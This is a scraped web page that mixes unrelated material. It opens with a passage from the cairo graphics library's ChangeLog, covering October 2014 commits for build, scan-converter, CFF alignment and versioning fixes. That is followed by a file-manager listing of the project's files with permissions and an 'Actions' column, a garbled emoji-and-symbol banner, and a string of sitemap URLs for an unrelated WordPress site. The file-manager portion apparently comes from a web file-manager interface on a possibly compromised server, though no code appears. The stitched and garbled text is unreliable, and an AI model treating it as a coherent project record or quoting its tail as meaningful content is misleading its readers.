    build: fix regression on mingw
    
    7cfebce1 removed the filename extension for executables.
    
    Patch from http://sourceforge.net/p/inkscape/mailman/message/32939144/
    
    Bug 85120

 build/aclocal.float.m4 | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

commit 2de69581c28bf115852037ca41eba13cb7335976
Author:     Massimo Valentini <mvalentini@src.gnome.org>
AuthorDate: Sun Oct 19 09:19:10 2014 +0200
Commit:     Chris Wilson <chris@chris-wilson.co.uk>
CommitDate: Sun Oct 19 12:47:23 2014 +0100

    tor-scan-converter: can't do_fullrow when intersection in row + 0.5subrow
    
    the active edges list must be left sorted at the next possible use
    and since full_row does not deal with intersections it is not usable
    when there is an intersection in the top half of the next row first
    subrow
    
    Reported-and-tested-by: Matthew Leach
    Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=85151
    Reviewed-by: Chris Wilson <chris@chris-wilson.co.uk>

 src/cairo-tor-scan-converter.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

commit 51892e91d40175d790541ac7f2e5706648649a5e
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Sat Oct 18 19:10:32 2014 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Sat Oct 18 19:10:32 2014 -0700

    Revert "Add execution bit for make-cairo-test-constructors.sh"
    
    This reverts commit 5c17bf1a33b8e76edeb23121342e0f163fe9d6ad.
    
    Script is sourced in the makefile, no need for +x.

 test/make-cairo-test-constructors.sh | 0
 1 file changed, 0 insertions(+), 0 deletions(-)

commit 1013d18a01aa10dadb8996b9a327eb39b219acbd
Author:     Adrian Johnson <ajohnson@redneon.com>
AuthorDate: Sun Oct 19 12:08:55 2014 +1030
Commit:     Adrian Johnson <ajohnson@redneon.com>
CommitDate: Sun Oct 19 12:08:55 2014 +1030

    pdf: fix compiler warning

 src/cairo-pdf-surface.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

commit 99a35dd273f3deb4ae54310f1ed1746bfd9fae70
Author:     Adrian Johnson <ajohnson@redneon.com>
AuthorDate: Sun Oct 19 11:34:34 2014 +1030
Commit:     Adrian Johnson <ajohnson@redneon.com>
CommitDate: Sun Oct 19 11:54:25 2014 +1030

    CFF: Fix unaligned access
    
    Debian bug 712836 reported bus errors in cff subsetting when
    running on a sparc. This is because unlike truetype, all data
    in the compact font format is not aligned.
    
    https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=712836

 src/cairo-cff-subset.c | 35 +++++++++++++++++++----------------
 src/cairo-image-info.c | 32 +++++++++++++-------------------
 src/cairoint.h         | 26 ++++++++++++++++++++++++++
 3 files changed, 58 insertions(+), 35 deletions(-)

commit 5c17bf1a33b8e76edeb23121342e0f163fe9d6ad
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Fri Oct 17 12:04:56 2014 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Fri Oct 17 15:50:31 2014 -0700

    Add execution bit for make-cairo-test-constructors.sh
    
    This is referenced in the Makefile but not set as executable

 test/make-cairo-test-constructors.sh | 0
 1 file changed, 0 insertions(+), 0 deletions(-)

commit f05e9332b389d33b5ae654e04576ccf2f389786f
Author:     Adrian Johnson <ajohnson@redneon.com>
AuthorDate: Fri Oct 17 22:04:39 2014 +1030
Commit:     Adrian Johnson <ajohnson@redneon.com>
CommitDate: Fri Oct 17 22:04:39 2014 +1030

    Update mime type documentation.

 src/cairo-surface.c | 28 +++++++++++++++++++++++++++-
 1 file changed, 27 insertions(+), 1 deletion(-)

commit 9102c0b0af808e52908e4f03bd9db479339c7b7e
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Thu Oct 16 11:41:40 2014 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Thu Oct 16 11:41:40 2014 -0700

    RELEASING:  Update tags push command
    
    I couldn't get the documented command to do diddly.  Running
    `git push --tags` achieved what I think was intended.

 RELEASING | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

commit 92bc5376a82b618d11451c1ca088fbb0d37ca270
Author:     Bryce Harrington <bryce@osg.samsung.com>
AuthorDate: Mon Oct 13 19:57:09 2014 -0700
Commit:     Bryce Harrington <bryce@osg.samsung.com>
CommitDate: Mon Oct 13 19:57:09 2014 -0700

    Start 1.14.1 development

 cairo-version.h | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Filemanager

Name Type Size Permission Actions
AUTHORS File 7.96 KB 0644
COPYING File 1.54 KB 0644
COPYING-LGPL-2.1 File 25.91 KB 0644
COPYING-MPL-1.1 File 25.15 KB 0644
ChangeLog File 119.72 KB 0644
NEWS File 284.04 KB 0644
README File 6.7 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml